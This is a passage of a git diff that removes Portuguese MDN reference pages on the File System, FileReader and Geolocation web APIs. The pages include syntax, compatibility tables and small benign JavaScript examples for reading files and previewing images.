  • The {{domxref("HTMLInputElement.webkitEntries")}} property lets you access the {{domxref("FileSystemFileEntry")}} objects for the currently selected files, but only if they are dragged-and-dropped onto the file chooser ({{bug(1326031)}}). If {{domxref("HTMLInputElement.webkitdirectory")}} is true, the {{HTMLElement("input")}} element is instead a directory picker, and you get {{domxref("FileSystemDirectoryEntry")}} objects for each selected directory.
  • -
- -

API Assíncrona

- -

The asynchronous API should be used for most operations, to prevent file system accesses from blocking the entire browser if used on the main thread. It includes the following interfaces:

- -
-
{{domxref("FileSystem")}}
-
Represents a file system.
-
{{domxref("FileSystemEntry")}}
-
The basic interface representing a single entry in a file system. This is implemented by other interfaces which represent files or directories.
-
{{domxref("FileSystemFileEntry")}}
-
Represents a single file in a file system.
-
{{domxref("FileSystemDirectoryEntry")}}
-
Represents a single directory in a file system.
-
{{domxref("FileSystemDirectoryReader")}}
-
Created by calling {{domxref("FileSystemDirectoryEntry.createReader()")}}, this interface provides the functionality which lets you read the contents of a directory.
-
{{domxref("FileSystemFlags")}}
-
Defines a set of values which are used when specifying option flags when calling certain methods in the File and Directory Entries API.
-
{{domxref("FileError")}}
-
Represents an error which is generated by asynchronous file system calls.
-
- -

There are also two global functions (which are not part of the specification at this time and are implemented only by Google Chrome). They're available on the {{domxref("Window")}} object and implemented in {{domxref("LocalFileSystem")}}: requestFileSystem() and resolveLocalFileSystemURL().

- -

API Síncrona

- -

The synchronous API is should only be used in {{domxref("Worker")}}s; these calls block until they're finished executing, and simply return the results instead of using callbacks. Using them on the main thread will block the browser, which is naughty. The interfaces below otherwise mirror the ones from the asynchronous API.

- -
-
{{domxref("FileSystemSync")}}
-
Represents a file system.
-
{{domxref("FileSystemEntrySync")}}
-
The basic interface representing a single entry in a file system. This is implemented by other interfaces which represent files or directories. {{domxref("EntrySync")}}
-
{{domxref("FileSystemFileEntrySync")}}
-
Represents a single file in a file system.
-
{{domxref("FileSystemDirectoryEntrySync")}}
-
Represents a single directory in a file system.
-
{{domxref("FileSystemDirectoryReaderSync")}}
-
Created by calling {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, this interface provides the functionality which lets you read the contents of a directory.
-
{{domxref("FileException")}}
-
Represents an error which is generated by synchronous file system calls.
-
- -

There are also two global functions (which are not part of the specification at this time and are implemented only by Google Chrome). They're available on the {{domxref("Worker")}} object and implemented in {{domxref("LocalFileSystemSync")}}: requestFileSystemSync() and resolveLocalFileSystemSyncURL().

- -

Outras Interfaces

- -
-
{{domxref("LocalFileSystem")}}
-
Gives you access to a sandboxed file system.
-
{{domxref("LocalFileSystemSync")}}
-
 
-
{{domxref("LockedFile")}}
-
Provides tools to deal with a given file with all the necessary locks.
-
{{domxref("Metadata")}}{{experimental_inline}}
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
- -

This API has no official W3C or WHATWG specification.

- -

Compatibilidade de navegador

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Asynchronous API13 {{ property_prefix("webkit") }}{{ CompatGeckoDesktop(50) }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
Synchronous API13 {{ property_prefix("webkit") }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Asynchronous API{{ CompatNo }}{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}{{ CompatGeckoMobile(50) }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
Synchronous API{{ CompatNo }}{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
-
- -

[1] Firefox 50 introduces partial support for the File and Directory Entries API. Be sure to check the compatibility tables for individual interfaces and methods before using them, to ensure that they're supported, before you use them. The API can be disabled by setting the value of the preference dom.webkitBlink.filesystem.enabled to false.

- -

Consulte também

- - diff --git a/files/pt-pt/web/api/filereader/abort/index.html b/files/pt-pt/web/api/filereader/abort/index.html deleted file mode 100644 index 3ffeae8ce9..0000000000 --- a/files/pt-pt/web/api/filereader/abort/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: FileReader.abort() -slug: Web/API/FileReader/abort -tags: - - API - - Ficheiros - - File API - - FileReader - - Referencia - - abort - - metodo -translation_of: Web/API/FileReader/abort ---- -
{{APIRef("File API")}}
- -

O método abort aborta a operação de leitura. Ao completar o abortamento, o {{domxref("FileReader.readyState","readyState")}} é DONE.

- -

Sintaxe

- -
instanceOfFileReader.abort();
- -

Exceções

- -
-
DOM_FILE_ABORT_ERR
-
Lançado quando abort é chamado enquanto não há uma operação de leitura em progresso (ou seja, quando o state não é LOADING).
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("File API", "#abort", "abort()")}}{{Spec2("File API")}}Definição inicial
- -

Compatibilidade

- - - -

{{Compat("api.FileReader.abort")}}

- -

Ver também

- -
    -
  • {{domxref("FileReader")}}
  • -
diff --git a/files/pt-pt/web/api/filereader/error/index.html b/files/pt-pt/web/api/filereader/error/index.html deleted file mode 100644 index b308705d79..0000000000 --- a/files/pt-pt/web/api/filereader/error/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: FileReader.error -slug: Web/API/FileReader/error -tags: - - API - - Ficheiros - - File API - - Propriedade - - Referencia -translation_of: Web/API/FileReader/error ---- -
{{APIRef("File API")}}
- -

A propriedade error de {{domxref("FileReader")}} retorna o erro que ocorreu ao ler o ficheiro.

- -

Sintaxe

- -
var error = instanceOfFileReader.error
-
- -

Valor

- -

Um {{domxref("DOMError")}} com o erro. Em Chrome 48+/Firefox 58+ esta propriedade retorna uma {{domxref("DOMException")}} porque DOMError foi removido do standard do DOM.

- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentários
{{SpecName("File API", "#dom-filereader-error", "FileReader: error")}}{{Spec2("File API")}}Definição inicial
- -

Compatibilidade

- - - -

{{Compat("api.FileReader.error")}}

- -

Ver também

- -
    -
  • {{domxref("FileReader")}}
  • -
diff --git a/files/pt-pt/web/api/filereader/index.html b/files/pt-pt/web/api/filereader/index.html deleted file mode 100644 index 0df369c585..0000000000 --- a/files/pt-pt/web/api/filereader/index.html +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: FileReader -slug: Web/API/FileReader -tags: - - API - - DOM - - File API - - Files - - NeedsTranslation - - Reference - - TopicStub - - WebAPI -translation_of: Web/API/FileReader ---- -

{{ APIRef("File API") }}

- -

Summary

- -

The FileReader object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using {{ domxref("File") }} or {{ domxref("Blob") }} objects to specify the file or data to read.

- -

File objects may be obtained from a {{ domxref("FileList") }} object returned as a result of a user selecting files using the {{ HTMLElement("input") }} element, from a drag and drop operation's DataTransfer object, or from the mozGetAsFile() API on an {{ domxref("HTMLCanvasElement") }}.

- -

Constructor

- -
FileReader FileReader();
- -

See Using files from web applications for details and examples.

- -

Properties

- -
-
{{domxref("FileReader.error")}} {{readonlyinline}}
-
A {{domxref("DOMError")}} representing the error that occurred while reading the file.
-
{{domxref("FileReader.readyState")}} {{readonlyinline}}
-
A number indicating the state of the FileReader. This will be one of the {{ anch("State constants") }}.
-
{{domxref("FileReader.result")}} {{readonlyinline}}
-
The file's contents. This property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.
-
- -

Event handlers

- -
-
{{domxref("FileReader.onabort")}}
-
A handler for the {{event("abort")}} event. This event is triggered each time the reading operation is aborted.
-
{{domxref("FileReader.onerror")}}
-
A handler for the {{event("error")}} event. This event is triggered each time the reading operation encounter an error.
-
{{domxref("FileReader.onload")}}
-
A handler for the {{event("load")}} event. This event is triggered each time the reading operation is successfully completed.
-
{{domxref("FileReader.onloadstart")}}
-
A handler for the {{event("loadstart")}} event. This event is triggered each time the reading is starting.
-
{{domxref("FileReader.onloadend")}}
-
A handler for the {{event("loadend")}} event. This event is triggered each time the reading operation is completed (either in success or failure).
-
{{domxref("FileReader.onprogress")}}
-
A handler for the {{event("progress")}} event. This event is triggered while reading a {{domxref("Blob")}} content.
-
- -
-

Note: As FileReader inherits from {{domxref("EventTarget")}}, all those events can also be listened for by using the {{domxref("EventTarget.addEventListener()","addEventListener")}} method.

-
- -

State constants

- -
    -
  • EMPTY   : 0 : No data has been loaded yet.
  • -
  • LOADING : 1 : Data is currently being loaded.
  • -
  • DONE    : 2 : The entire read request has been completed.
  • -
- -

Methods

- -
-
{{domxref("FileReader.abort()")}}
-
Aborts the read operation. Upon return, the readyState will be DONE.
-
{{domxref("FileReader.readAsArrayBuffer()")}} {{ gecko_minversion_inline("7.0") }}
-
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains an {{domxref("ArrayBuffer")}} representing the file's data.
-
{{domxref("FileReader.readAsBinaryString()")}}
-
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains the raw binary data from the file as a string.
-
{{domxref("FileReader.readAsDataURL()")}}
-
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains a data: URL representing the file's data.
-
{{domxref("FileReader.readAsText()")}}
-
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains the contents of the file as a text string.
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('File API','#FileReader-interface','FileReader')}}{{Spec2('File API')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureFirefox (Gecko)ChromeInternet Explorer*Opera*Safari
Basic support{{ CompatGeckoDesktop("1.9.2") }}71012.026.0.2
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support3231011.56.1
-
- -

Implementation notes

- - - -

Gecko-specific notes

- -
    -
  • Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{ domxref("Blob") }} parameters below were {{ domxref("File") }} parameters; this has since been updated to match the specification correctly.
  • -
  • Prior to Gecko 13.0 {{ geckoRelease("13.0") }} the FileReader.error property returned a {{ domxref("FileError") }} object. This interface has been removed and FileReader.error is now returning the {{ domxref("DOMError") }} object as defined in the latest FileAPI draft.
  • -
- -

See also

- - diff --git a/files/pt-pt/web/api/filereader/readasarraybuffer/index.html b/files/pt-pt/web/api/filereader/readasarraybuffer/index.html deleted file mode 100644 index d5122d8096..0000000000 --- a/files/pt-pt/web/api/filereader/readasarraybuffer/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: FileReader.readAsArrayBuffer() -slug: Web/API/FileReader/readAsArrayBuffer -tags: - - API - - DOM - - Ficheiros - - File API - - FileReader - - Referencia - - metodo - - readAsArrayBuffer -translation_of: Web/API/FileReader/readAsArrayBuffer ---- -

{{APIRef("File API")}}

- -

O método readAsArrayBuffer() da interface {{domxref("FileReader")}} é utilizado para começar a ler o conteúdo de um {{domxref("Blob")}} ou {{domxref("File")}} especificado. Quando a operação de leitura termina, o valor de {{domxref("FileReader.readyState","readyState")}} passa a ser DONE, e é acionado o evento {{domxref("FileReader/loadend_event", "loadend")}}. Nessa altura, o atributo {{domxref("FileReader.result","result")}} contém um {{domxref("ArrayBuffer")}} representando os dados do ficheiro.

- -
-

API mais recente
- O método {{domxref("Blob.arrayBuffer()")}} é uma API recente que serve para ler um ficheiro como um array buffer, usando Promises.

-
- -

Sintaxe

- -
instanceOfFileReader.readAsArrayBuffer(blob);
- -

Parâmetros

- -
-
blob
-
O {{domxref("Blob")}} ou {{domxref("File")}} a partir do qual ler.
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("File API", "#readAsArrayBuffer", "FileReader.readAsArrayBuffer")}}{{Spec2("File API")}}Definição inicial
- -

Compatibilidade

- - - -

{{Compat("api.FileReader.readAsArrayBuffer")}}

- -

Ver também

- -
    -
  • {{domxref("FileReader")}}
  • -
diff --git a/files/pt-pt/web/api/filereader/readasbinarystring/index.html b/files/pt-pt/web/api/filereader/readasbinarystring/index.html deleted file mode 100644 index 44911105e6..0000000000 --- a/files/pt-pt/web/api/filereader/readasbinarystring/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: FileReader.readAsBinaryString() -slug: Web/API/FileReader/readAsBinaryString -tags: - - API - - Ficheiros - - File API - - Referencia - - metodo -translation_of: Web/API/FileReader/readAsBinaryString ---- -

{{APIRef("File API")}}

- -

O método readAsBinaryString é usado para iniciar a leitura dos conteúdos do {{domxref("Blob")}} ou {{domxref("File")}} indicado. Quando a operação da leitura é terminada, o {{domxref("FileReader.readyState","readyState")}} retorna DONE, e o {{event("loadend")}} é acionado. A propriedade {{domxref("FileReader.result","result")}} depois contem o binário bruto do ficheiro.

- -

Note que este método foi removido do File API, mas foi reintroduzido por motivos de compatibilidade com versões antigas.
- É recomendado usar {{domxref("FileReader.readAsArrayBuffer()")}}.

- -

Sintaxe

- -
instanceOfFileReader.readAsBinaryString(blob);
- -

Parâmetros

- -
-
blob
-
O {{domxref("Blob")}} ou {{domxref("File")}} a ser lido.
-
- -

Exemplo

- -
var canvas = document.createElement('canvas');
-var height = 200;
-var width  = 200;
-
-canvas.width  = width;
-canvas.height = height;
-
-var ctx = canvas.getContext('2d');
-
-ctx.strokeStyle = '#090';
-ctx.beginPath();
-ctx.arc(width/2, height/2, width/2 - width/10, 0, Math.PI*2);
-ctx.stroke();
-
-canvas.toBlob(function (blob) {
-  var reader = new FileReader();
-
-  reader.onloadend = function () {
-    console.log(reader.result);
-  }
-
-  reader.readAsBinaryString(blob);
-});
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentários
{{SpecName('File API','#readAsBinaryString','readAsBinaryString')}}{{Spec2('File API')}}
- -

Compatibilidade

- - - -

{{Compat("api.FileReader.readAsBinaryString")}}

- -

Ver também

- -
    -
  • {{domxref("FileReader")}}
  • -
diff --git a/files/pt-pt/web/api/filereader/readasdataurl/index.html b/files/pt-pt/web/api/filereader/readasdataurl/index.html deleted file mode 100644 index 321d50d3ce..0000000000 --- a/files/pt-pt/web/api/filereader/readasdataurl/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: FileReader.readAsDataURL() -slug: Web/API/FileReader/readAsDataURL -tags: - - API - - Base 64 - - Ficheiros - - File API - - FileReader - - Referencia - - metodo -translation_of: Web/API/FileReader/readAsDataURL ---- -

O método readAsDataURL é utilizado para ler os conteúdos dum {{domxref("Blob")}} ou {{domxref("File")}} especificado. Quando a operação de leitura é terminada, a propriedade {{domxref("FileReader.readyState","readyState")}} é atualizada para DONE, e o evento {{event("loadend")}} é lançado. Nessa altura, o atributo {{domxref("FileReader.result","result")}} contem os dados na forma data: URL que representa os dados do ficheiro em base 64 numa string.

- -
-

Nota: O{{domxref("FileReader.result","result")}} da Blob não pode ser diretamente descodificado como Base64 sem remover a declaração Data-URL que precede os dados em Base64. Para ter só a string em Base64, primeiro tem de remover o data:*/*;base64, do resultado.

-
- -

Sintaxe

- -
instanceOfFileReader.readAsDataURL(blob);
- -

Parametros

- -
-
blob
-
O {{domxref("Blob")}} ou {{domxref("File")}} para ler.
-
- -

Exemplo

- -

HTML

- -
<input type="file" onchange="previewFile()"><br>
-<img src="" height="200" alt="Image preview...">
- -

JavaScript

- -
function previewFile() {
-  const preview = document.querySelector('img');
-  const file = document.querySelector('input[type=file]').files[0];
-  const reader = new FileReader();
-
-  reader.addEventListener("load", function () {
-    // converter o file de imagem oara uma string de base 64
-    preview.src = reader.result;
-  }, false);
-
-  if (file) {
-    reader.readAsDataURL(file);
-  }
-}
- -

Resultado

- -

{{EmbedLiveSample("Exemplo", "100%", 240)}}

- -

Exemplo de vários files

- -

HTML

- -
<input id="browse" type="file" onchange="previewFiles()" multiple>
-<div id="preview"></div>
- -

JavaScript

- -
function previewFiles() {
-
-  var preview = document.querySelector('#preview');
-  var files   = document.querySelector('input[type=file]').files;
-
-  function readAndPreview(file) {
-
-    // Make sure `file.name` matches our extensions criteria
-    if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) {
-      var reader = new FileReader();
-
-      reader.addEventListener("load", function () {
-        var image = new Image();
-        image.height = 100;
-        image.title = file.name;
-        image.src = this.result;
-        preview.appendChild( image );
-      }, false);
-
-      reader.readAsDataURL(file);
-    }
-
-  }
-
-  if (files) {
-    [].forEach.call(files, readAndPreview);
-  }
-
-}
-
- -
Nota: O construtor FileReader() não é apoiado pela Internet Explorer anterior à versão 10. Para obter código totalmente compatível veja a nossa solução crossbrowser para pré-visualizar imagens. Veja também este exemplo mais complexo.
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("File API", "#readAsDataURL", "readAsDataURL()")}}{{Spec2("File API")}}Definição inicial
- -

Compatibilidade

- - - -

{{Compat("api.FileReader.readAsDataURL")}}

- -

Ver também

- -
    -
  • {{domxref("FileReader")}}
  • -
  • {{domxref("URL.createObjectURL()")}}
  • -
- -
{{APIRef("File API")}}
diff --git a/files/pt-pt/web/api/filereader/readastext/index.html b/files/pt-pt/web/api/filereader/readastext/index.html deleted file mode 100644 index d8f821e7ab..0000000000 --- a/files/pt-pt/web/api/filereader/readastext/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: FileReader.readAsText() -slug: Web/API/FileReader/readAsText -tags: - - API - - Ficheiros - - File API - - Referencia - - metodo -translation_of: Web/API/FileReader/readAsText ---- -
{{APIRef("File API")}}
- -

O método readAsText() é utilizado para ler os conteúdos do {{domxref("Blob")}} ou {{domxref("File")}} indicado. Quando a operação de leitura é terminada, a propriedade {{domxref("FileReader.readyState","readyState")}} é modificada para DONE, o evento {{event("loadend")}} é lançado, e a propriedade {{domxref("FileReader.result","result")}} fica com os conteúdos do ficheiro em forma de string.

- -
-

API mais recente disponível
- {{domxref("Blob.text()")}} é um método mais recente, baseado na API de promessas, para ler um ficheiro como uma string.

-
- -

Sintaxe

- -
instanceOfFileReader.readAsText(blob[, encoding]);
- -

Parâmetros

- -
-
blob
-
O {{domxref("Blob")}} ou {{domxref("File")}} de qual ler.
-
encoding {{optional_inline}}
-
Uma string a especificar qual codificação usar para os dados devolvidos. A UTF-8 é utilizada se não for definido.
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentários
{{SpecName("File API", "#readAsDataText", "readAsText()")}}{{Spec2("File API")}}Definição inicial
- -

Compatibilidade

- - - -

{{Compat("api.FileReader.readAsText")}}

- -

Ver também

- -
    -
  • {{domxref("FileReader")}}
  • -
diff --git a/files/pt-pt/web/api/filereader/readystate/index.html b/files/pt-pt/web/api/filereader/readystate/index.html deleted file mode 100644 index 1147e43f29..0000000000 --- a/files/pt-pt/web/api/filereader/readystate/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: FileReader.readyState -slug: Web/API/FileReader/readyState -tags: - - API - - Ficheiros - - File API - - Propriedade - - Referencia -translation_of: Web/API/FileReader/readyState ---- -
{{APIRef("File API")}}
- -

A propriedade readyState de {{domxref("FileReader")}} fornece o estado actual da operação de leitura em que se encontra um FileReader.  Um FileReader existe num dos seguintes estados:

- - - - - - - - - - - - - - - - - - - - - - - - -
ValorEstadoDescrição
0EMPTYFoi criado um leitor. Nenhum dos métodos de leitura foi ainda chamado.
1LOADINGFoi chamado um método de leitura.
2DONEA operação está concluída.
- -
-
EMPTY
-
O FileReader foi criado, mas ainda não foi chamado o método readAs.
-
LOADING
-
Foi invocado o método readAs. O {{domxref("File")}} ou {{domxref("Blob")}} está a ser lido, e ainda não ocorreu qualquer erro.
-
DONE
-
A operação lida está concluída. Isto pode significar que: todo o {{domxref("File")}} ou {{domxref("Blob")}} foi lido na memória, ocorreu um erro de leitura de ficheiro, ou {{domxref("FileReader.abort()", "abort()")}} foi chamado e a leitura foi cancelada.
-
- -

Exemplo

- -
var reader = new FileReader();
-console.log('EMPTY', reader.readyState); // readyState é 0
-
-reader.readAsText(blob);
-console.log('LOADING', reader.readyState); // readyState é 1
-
-reader.onloadend = function () {
-  console.log('DONE', reader.readyState); // readyState é 2
-};
-
- -

Valor

- -

Um número que é uma das três constantes de estado possíveis definidas para o {{domxref("FileReader")}} API.

- -

Especificação

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentários
{{SpecName("File API", "#dom-filereader-readystate", "readyState")}}{{Spec2("File API")}}Definição inicial
- -

Compatibilidade

- - - -

{{Compat("api.FileReader.readyState")}}

- -

Ver também

- -
    -
  • {{domxref("Blob")}}
  • -
diff --git a/files/pt-pt/web/api/filereader/result/index.html b/files/pt-pt/web/api/filereader/result/index.html deleted file mode 100644 index ea7ddd4bbd..0000000000 --- a/files/pt-pt/web/api/filereader/result/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: FileReader.result -slug: Web/API/FileReader/result -tags: - - API - - Ficheiros - - File API - - FileReader - - Propriedade - - Referencia - - result -translation_of: Web/API/FileReader/result ---- -
{{APIRef("File API")}}
- -

A propriedade result de {{domxref("FileReader")}} devolve os conteúdo do ficheiro. Esta propriedade só é válida após a operação de leitura estar concluída, e o formato dos dados depende de qual método foi utilizado para iniciar a operação de leitura.

- -

Sintaxe

- -
var file = instanceOfFileReader.result
-
- -

Valor

- -

Uma string ou {{jsxref("ArrayBuffer")}} apropriado com base em qual dos métodos de leitura foi utilizado para iniciar a operação de leitura. O valor é null se a leitura ainda não estiver completa ou não foi bem sucedida.

- -

Os resultados são descritos abaixo.

- - - - - - - - - - - - - - - - - - - - - - - - - - -
MétodoDescrição
{{domxref("FileReader/readAsArrayBuffer", "readAsArrayBuffer()")}}O result é um {{jsxref("Global_Objects/ArrayBuffer", "ArrayBuffer")}} de JavaScript que contem dados binários.
{{domxref("FileReader/readAsBinaryString", "readAsBinaryString()")}}O result contém os dados binários brutos do ficheiro numa string.
{{domxref("FileReader/readAsDataURL", "readAsDataURL()")}}O result é uma string com uma data: URL que representa os dados do ficheiro.
{{domxref("FileReader/readAsText", "readAsText()")}}O result ié texto numa string.
- -

Exemplo

- -

Este exemplo apresenta uma função, read(), que lê um ficheiro a partir de uma entrada de ficheiro. Funciona criando um objecto {{domxref("FileReader")}} e criando um ouvinte para eventos {{domxref("FileReader/load_event", "load")}}, de modo que quando o ficheiro é lido, o result é obtido e passado para a função callback fornecida para read().

- -

O conteúdo é tratado como dados de texto brutos.

- -
var fileInput = document.querySelector('input[type="file"]');
-
-function read(callback) {
-  var file = fileInput.files.item(0);
-  var reader = new FileReader();
-
-  reader.onload = function() {
-    callback(reader.result);
-  }
-
-  reader.readAsText(file);
-}
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("File API", "#dom-filereader-result", "result")}}{{Spec2("File API")}}Definição inicial
- -

Compatibilidade

- - - -

{{Compat("api.FileReader.result")}}

- -

Ver também

- -
    -
  • {{domxref("FileReader")}}
  • -
diff --git a/files/pt-pt/web/api/filesystem/index.html b/files/pt-pt/web/api/filesystem/index.html deleted file mode 100644 index f755c6d43e..0000000000 --- a/files/pt-pt/web/api/filesystem/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Sistema de Ficheiros -slug: Web/API/FileSystem -tags: - - API - - File API - - File System API - - File and Directory Entries API - - Interface - - Não Standard - - Offline - - filesystem -translation_of: Web/API/FileSystem -original_slug: Web/API/Sistema_de_ficheiros ---- -
-

{{APIRef("File System API")}}{{SeeCompatTable}}

- -

A interface da "API de Entradas de Diretorias e Ficheiros" é usada para representar um sistema de ficheiros. Estes objetos podem ser obtidos a partir da propriedade {{domxref("FileSystemEntry.filesystem", "filesystem")}} em qualquer entrada do sistema de ficheiros. Alguns navegadores oferecem APIs adicionais para criar e gerir sistemas de ficheiros, por exemplo o método {{domxref("Window.requestFileSystem", "requestFileSystem()")}} encontrado no Chrome.

- -

Esta interface não dá acesso ao filesystem do utilizador. Em vez disso, terá uma "drive virtual" dentro da sandbox do navegador. Se quiser ter acesso ao sistema de ficheiros dos utilizadores, necessita de invocar o utilizador.

-
- -

Conceitos básicos

- -

Existem duas formas para aceder ao objeto FileSystem:

- -
    -
  1. Pode pedir por um dentro duma sandbox para só a sua app ao chamar window.requestFileSystem(). Se a chamada tiver sucesso, é executada uma callback handler, que recebe como parâmetro um objeto FileSystem que descreve o sistema de ficheiros.
  2. -
  3. Pode o pedir através duma entrada no sistema de ficheiros, com a propriadade {{domxref("FileSystemEntry.filesystem", "filesystem")}}.
  4. -
- -

Atributos

- -
-
{{domxref("FileSystem.name")}} {{ReadOnlyInline}}
-
Uma {{domxref("USVString")}} que representa o nome do sistema de ficheiros. Este nome é único na lista de sistemas de ficheiros exposta.
-
{{domxref("FileSystem.root")}} {{ReadOnlyInline}}
-
Um objeto de {{domxref("FileSystemDirectoryEntry")}} que representa a diretoria raiz do sistema de ficheiros. Através deste objeto, pode ganhar acesso a todos os ficheiros e diretorias no sistema.
-
- -

Compatibilidade

- - - -

{{Compat("api.FileSystem")}}

- -

Ver também

- - diff --git a/files/pt-pt/web/api/geolocation/index.html b/files/pt-pt/web/api/geolocation/index.html deleted file mode 100644 index 3e3387d0b4..0000000000 --- a/files/pt-pt/web/api/geolocation/index.html +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: Geolocalização -slug: Web/API/Geolocation -tags: - - API - - API de Geolocalização - - Avançada - - Contexto de segurança - - Interface - - Referencia -translation_of: Web/API/Geolocation ---- -
{{securecontext_header}}{{APIRef("Geolocation API")}}
- -

A interface de Geolocalização representa um objeto capaz de obter programaticamente a posição do dispositivo. Esta dá acesso ao conteúdo da Web para a localização do dispositivo. Isto permite que um site da Web ou aplicação ofereça resultados personalizados com base na localização do utilizador.

- -

Um objeto com esta interface é obtido utilizando a propriedade {{domxref("navigator.geolocation")}} implementada pelo objeto {{domxref("Navigator")}}.

- -
-

Nota: por motivos de segurança, quando uma página da Web tenta aceder à informação da localização, o utilizador é notificado e é-lhe solicitado para dar permissão. Tenha em atenção que cada navegador tem as suas próprias políticas e métodos para solicitarem esta permissão.

-
- -

Propriedades

- -

A interface de Geolocalização não implementa, nem adquire qualquer propriedade.

- -

Métodos

- -

A interface de Geolocalização não adquire qualquer propriedade.

- -
-
{{domxref("Geolocation.getCurrentPosition()")}} {{securecontext_inline}}
-
Determina a localização do dispositivo e devolve um objeto de {{domxref("Position")}} com os dados.
-
{{domxref("Geolocation.watchPosition()")}} {{securecontext_inline}}
-
Devolve um valor longo representando a nova função estabelecida callback para ser invocada sempre que a localização do dispositivo for alterada.
-
{{domxref("Geolocation.clearWatch()")}} {{securecontext_inline}}
-
Remove o manipulador particular instalado anteriormente, utilizando watchPosition().
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}Especificação inicial.
- -

Compatibilidade de navegador

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Suporte básico5{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}910.60
- Removed in 15.0
- Reintroduced in 16.0
5
Apenas contexto de segurança47{{CompatUnknown()}}{{CompatGeckoDesktop("55")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Suporte básico{{CompatUnknown()}}{{CompatUnknown()}}{{CompatVersionUnknown}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
Apenas contexto de segurança{{CompatNo}}47{{CompatUnknown()}}{{CompatGeckoDesktop("55")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/geolocation_api/index.html b/files/pt-pt/web/api/geolocation_api/index.html deleted file mode 100644 index c9d0a60cb1..0000000000 --- a/files/pt-pt/web/api/geolocation_api/index.html +++ /dev/null @@ -1,243 +0,0 @@ ---- -title: API de Geolocalização -slug: Web/API/Geolocation_API -tags: - - API de Geolocalização - - Guía - - Intermediário -translation_of: Web/API/Geolocation_API -original_slug: Web/API/Geolocation/Utilizacao_da_geolocalizacao ---- -

{{securecontext_header}}{{APIRef("Geolocation API")}}

- -

A API de geolocalização permite que o utilizador forneça a sua localização nas aplicações da Web, se assim o desejar. Por motivos de segurança, é solicitado ao utilizador para dar permissão para informar a informação da localização.

- -

O objeto de geolocalização

- -

A API de Geolocation é publicada através do objeto {{domxref("navigator.geolocation")}}.

- -

Se o objeto existir, os serviços de geolocalização estarão disponíveis. Pode testar a presença de geolocalização assim:

- -
if ("geolocation" in navigator) {
-  /* geolocation is available */
-} else {
-  /* geolocation IS NOT available */
-}
-
- -
-

Nota: On Firefox 24 and older versions, "geolocation" in navigator always returned true even if the API was disabled. This has been fixed with Firefox 25 to comply with the spec. ({{bug(884921)}}).

-
- -

Obter a posição atual

- -

